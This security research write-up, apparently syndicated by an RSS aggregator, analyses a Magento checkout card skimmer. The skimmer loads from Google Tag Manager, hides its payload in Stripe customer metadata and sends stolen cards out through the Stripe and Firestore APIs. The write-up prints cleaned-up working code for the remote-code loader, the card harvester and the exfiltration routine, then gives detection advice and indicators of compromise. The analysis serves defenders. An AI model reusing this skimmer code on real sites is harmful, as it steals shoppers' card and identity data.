






















The skimmer never loads from a domain the attacker controls. The loader, the payload, and the stolen cards all flow through two domains every store already trusts: Google Tag Manager and Stripe.
Both the payload and the stolen cards move through api.stripe.com. Stores allow that domain by default, so the skimmer slips past Content Security Policy rules and network filters that would otherwise flag traffic to an unknown skimmer domain.
The loaders are real Google Tag Manager containers (GTM-P6KZMF63 and others), planted as a custom tag and served straight from googletagmanager.com. Serving the loader from a Google domain helps it blend in next to a store's legitimate analytics tags.
The malware splits its work into three parts that run in this order:
GTM-P6KZMF63), the code executes on every page that loads it. On checkout pages it fetches the skimmer from Stripe customer metadata and runs it with new Function().localStorage.localStorage and uploads it to the attacker's Stripe account as a fake customer.Cleaned up, the delivery code is small. On checkout pages it pulls the skimmer from Stripe and runs it:
// on checkout pages, fetch the skimmer from Stripe and run it
if (location.href.indexOf("checkout") !== -1) {
setTimeout(function () {
getMetaString().then(function (code) {
if (code) new Function(code)(); // arbitrary remote code execution
});
}, 2000);
}
// fetch the skimmer chunks from the attacker's Stripe customer metadata
function getMetaString() {
return fetch("https://api.stripe.com/v1/customers/cus_TfFjAAZQNOYENR", {
headers: { Authorization: "Bearer sk_test_51Shuxz4fAPbvfTkr[...]" }
}).then(function (r) { return r.json(); })
.then(function (r) {
return Object.keys(r.metadata).map(function (k) { return r.metadata[k]; }).join("");
});
}
On any checkout page, getMetaString() fetches a specific Stripe customer (cus_TfFjAAZQNOYENR) in the attacker's account and concatenates its metadata fields. The skimmer is too long for a single Stripe metadata value, so the attacker chops it into chunks stored across meta0, meta1, meta2 and so on.
The loader joins them and runs the result with new Function(). That is arbitrary remote code execution, with Stripe serving the command.
This design lets the attacker update the skimmer at any time by editing the Stripe metadata, with no need to touch the injected GTM tag or the victim store again.
Fetching that customer record returns the staged skimmer:
{
"id": "cus_TfFjAAZQNOYENR",
"object": "customer",
"created": 1766594844,
"email": "jennyrosen@stripe.com",
"invoice_prefix": "WLUFUAQS",
"name": "Jenny Rosen",
"metadata": {
"meta0": "var a0_0xa01889=a0_0x11c7;(function(_0x5819d6,_0xe324f9){var _0x3069e3=a0_0x11c7,_0x40b7fe=_0x5819d6();while(!![]){try{var _0x44265a=parseInt(...",
"meta1": "...",
"meta10": "..."
}
}
The jennyrosen@stripe.com email and WLUFUAQS invoice prefix are leftovers from Stripe's own sample data, a sign the attacker built this customer record from a default template. The record was created on December 24, 2025, so this campaign has likely been running since at least late last year.
Decoded and condensed, the harvester waits for the checkout button, then hooks its click:
// poll until the Magento checkout button exists, then hook its click
var poll = setInterval(function() {
var btn = document.querySelectorAll(".action.primary.checkout:not(#top-cart-btn-checkout)");
if (!btn.length) return;
clearInterval(poll);
btn[0].addEventListener("click", function() {
// read each field by selector, "null" when absent, then pipe-join
var grab = function(sel) {
var el = document.querySelectorAll(sel);
return el.length ? el[0].value : "null";
};
var out = [
grab('input[autocomplete="cc-number"]'),
grab('[name="payment[cc_exp_month]"]'),
grab('[name="payment[cc_exp_year]"]'),
grab('input[name="payment[cc_cid]"]'),
// ...firstname, lastname, street[0], city, country_id, region_id,
// postcode, customer-email, telephone, [data-th='Grand Total']
].join("|");
// store only when card number, expiry month/year and CVV are all present
var f = out.split("|");
if (f[0] !== "null" && f[1] !== "null" && f[2] !== "null" && f[3] !== "null") {
// XOR each char against "EGAU3X9PAMJ8RYRNJSPV", hex-encode, then save
localStorage.setItem("cus_customer_id", xorHex(out + "|CP"));
}
});
}, 1000);
The selectors (payment[cc_cid], payment[cc_exp_year], [name="street[0]"], [data-th='Grand Total']) are specific to Magento and Adobe Commerce checkout markup. The skimmer pipe-joins the full card (number, expiry, CVV), the complete billing address, contact details, and the order total.
It stores the data only when the four card fields are all present. Then it appends a |CP marker, XOR-encodes the string with the key EGAU3X9PAMJ8RYRNJSPV, and parks it in localStorage under cus_customer_id. The skimming code never uploads anything itself.
Uploading the stolen data is a separate job in the same loader, not part of the skimmer:
// run the exfiltration routine 1s after load, then every 60s
setTimeout(pdat, 1000);
var mtimer = setInterval(pdat, 60000);
// upload the stolen blob from localStorage as a fake Stripe customer
function pdat() {
var blob = localStorage.getItem("cus_customer_id");
if (!blob) return;
clearInterval(mtimer);
var half = Math.floor(blob.length / 2); // split in half, crude obfuscation
var body = "email=johndoe@gmail.com" +
"&metadata[customer_id]=" + encodeURIComponent(blob.slice(0, half)) +
"&metadata[device_id]=" + encodeURIComponent(blob.slice(half));
fetch("https://api.stripe.com/v1/customers", {
method: "POST",
headers: { Authorization: "Bearer sk_test_51Shuxz4fAPbvfTkr[...]" },
body: body
}).then(function (r) {
if (r.ok) localStorage.removeItem("cus_customer_id");
});
}
It runs one second after each page load (setTimeout) and again every 60 seconds (mtimer). When pdat finds a blob in localStorage, it splits the value in half and POSTs it to Stripe's customer API.
Theft and upload are decoupled. The skimmer writes the card data to localStorage the moment the shopper submits checkout. The exfiltration routine then picks it up on the next page load, or when its 60-second timer fires, and ships it to Stripe.
Every stolen card becomes a "customer" in the attacker's account. The email is junk filler (johndoe@gmail.com), and the real data lands in metadata[customer_id] and metadata[device_id]. Splitting the value in half is crude obfuscation so the card data does not sit in one obvious field. On success, the loader deletes the localStorage entry, so the same record is not sent twice.
The attacker lists their stolen cards later by calling the same API with the same key. Stripe's customer database becomes a free, durable exfiltration sink.
Each loader carries a hardcoded Stripe secret key:
Authorization: Bearer sk_test_51Shuxz4fAPbvfTkr...
No legitimate integration ever ships a Stripe secret key in client-side JavaScript. Secret keys belong on the server. Finding one in a browser script is by itself proof of compromise.
The keys use the sk_test_ prefix, so they run in Stripe test mode. The attacker treats Stripe as free infrastructure, not a way to launder charges. Stripe gives them a writable database for stolen cards and a code-hosting endpoint for the skimmer, both behind a domain that CSP rules and network filters trust by default.
A separate loader from the same family uses Google Firestore instead of Stripe. It reads stolen data from localStorage key _d_data_customer_ and pulls its payload from a Firestore document:
https://firestore.googleapis.com/v1/projects/braintree-payment-app/databases/(default)/documents/tracking/captcha?key=AIzaSyA3xkG_[...]
The braintree-payment-app project name and captcha document path are chosen to look like ordinary payment and bot-protection traffic. It is a different channel from the Stripe variant, but the same idea. Both abuse a mainstream cloud API as a covert channel that no store blocks.
sk_test_ or sk_live_ Stripe key, or any direct api.stripe.com and firestore.googleapis.com calls in browser JavaScript, as a compromise. Legitimate front-end code never carries a Stripe secret key.# GTM container IDs
GTM-P6KZMF63
GTM-55976FLP
GTM-MSDHV3HG
GTM-TV4CSHVN
# stripe customer ID hosting the skimmer payload
cus_TfFjAAZQNOYENR
# exfiltration endpoints
https://api.stripe.com/v1/customers
https://firestore.googleapis.com/v1/projects/braintree-payment-app/databases/(default)/documents/tracking/captcha?key=AIzaSyA3xkG_[...]
# localStorage keys
cus_customer_id
_d_data_customer_
# XOR key
EGAU3X9PAMJ8RYRNJSPV
# filler email used in fake Stripe customer records
johndoe@gmail.com
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。